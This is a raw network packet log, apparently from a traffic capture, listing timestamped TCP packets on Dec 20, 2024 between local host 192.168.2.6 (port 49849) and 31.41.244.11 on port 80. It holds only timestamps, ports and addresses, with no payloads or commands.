Dec 20, 2024 21:13:13.283646107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.442842007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.442873955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.442956924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.442956924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.443104982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.443288088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.443348885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.443579912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.444041967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.444053888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.444284916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.444885015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.444952965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.445090055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.445699930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.445796967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.445879936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.446527004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.446666956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.446887016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.447405100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.447555065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.447674990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.448302984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.448390007 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.448503971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.449157953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.449300051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.449393988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.450234890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.450246096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.450481892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.451112986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.451358080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.451487064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.452099085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.452266932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.452271938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.452359915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.453020096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.453107119 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.453125000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.453273058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.453879118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.453999996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.454027891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.454893112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.454921007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.455034971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.455115080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.455174923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.455754042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.456024885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.456064939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.456155062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.456461906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.456602097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.456665039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.457129955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.457266092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.457353115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.457509041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.457959890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.458019972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.458060980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.458810091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.458888054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.458923101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.459105015 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.459708929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.459781885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.459827900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.460611105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.460652113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.460778952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.461375952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.461708069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.461736917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.462277889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.462419987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.462457895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.463327885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.463339090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.463615894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.463946104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.464080095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.464953899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.464966059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.464983940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.465686083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.465730906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.465903044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.466584921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.466629982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.466711044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.466744900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.467647076 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.467664957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.467689037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.467932940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.468322039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.468408108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.468513012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.469286919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.469297886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.469389915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.470093966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.470212936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.470227003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.470356941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.470952988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.471112967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.471132994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.471875906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.472064018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.472126007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.472498894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.472718954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.472738028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.472824097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.473589897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.473701954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.473783970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.474492073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.474626064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.474646091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.474849939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.475301981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.475414991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.475614071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.476197958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.476336956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.476361990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.476458073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.477037907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.477150917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.477216959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.477371931 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.478250980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.478387117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.478617907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.478835106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.478874922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.478949070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.479336023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.479835033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.480051041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.480209112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.480299950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.480726004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.480736971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.480842113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.481472969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.481642008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.481950998 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.482357979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.482492924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.482558012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.482633114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.483218908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.483318090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.483340025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.483412027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.484106064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.484164000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.484206915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.484371901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.485140085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.485208035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.485426903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.485923052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.486054897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.486093044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.486222982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.486618042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.486826897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.486855984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.486998081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.487541914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.487554073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.487890959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.488387108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.488584042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.649321079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.649342060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.649435043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.649435043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.649455070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.649545908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.649713039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.650381088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.650464058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.650525093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.650525093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.651205063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.651369095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.651420116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.651438951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.652092934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.652115107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.652190924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.652190924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.653023958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.653037071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.653132915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.653803110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.653898954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.653943062 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.654005051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.654712915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.654762030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.654783964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.654824972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.655504942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.655597925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.655642033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.655694962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.656456947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.656594038 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.656620979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.656688929 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.657408953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.657527924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.657612085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.658240080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.658252954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.658317089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.659107924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.659128904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.659267902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.659267902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.660032988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.660082102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.660099983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.660201073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.660840988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.660943985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.660968065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.661048889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.661793947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.661855936 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.661866903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.662002087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.662560940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.662709951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.662738085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.662882090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.663384914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.663537979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.663563967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.663625002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.664251089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.664304018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.664357901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.664405107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.665098906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.665294886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.665323973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.665440083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.665972948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.666110992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.666136980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.666316986 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.666893959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.666990995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.667018890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.667054892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.667771101 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.667824030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.667850018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.667918921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.668605089 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.668732882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.668797016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.668797016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.669569016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.669589043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.669706106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.670321941 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.670502901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.670532942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.670583963 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.671222925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.671323061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.671353102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.671439886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.672066927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.672163010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.672188997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.672332048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.673089027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.673103094 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.673157930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.673157930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.673840046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.673882961 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.673968077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.674094915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.674663067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.674757004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.674787998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.674854040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.675565958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.675658941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.675685883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.675836086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.676425934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.676527977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.676563025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.676656008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.677282095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.677372932 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.677377939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.677455902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.678179026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.678277016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.678320885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.678320885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.679099083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.679202080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.679230928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.679311037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.679965019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.680036068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.680089951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.680164099 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.681027889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.681041956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.681163073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.681633949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.681749105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.681770086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.681859016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.682564020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.682682991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.682708979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.682810068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.683382988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.683469057 CET	80	49849	31.41.244.11	192.168.2.6
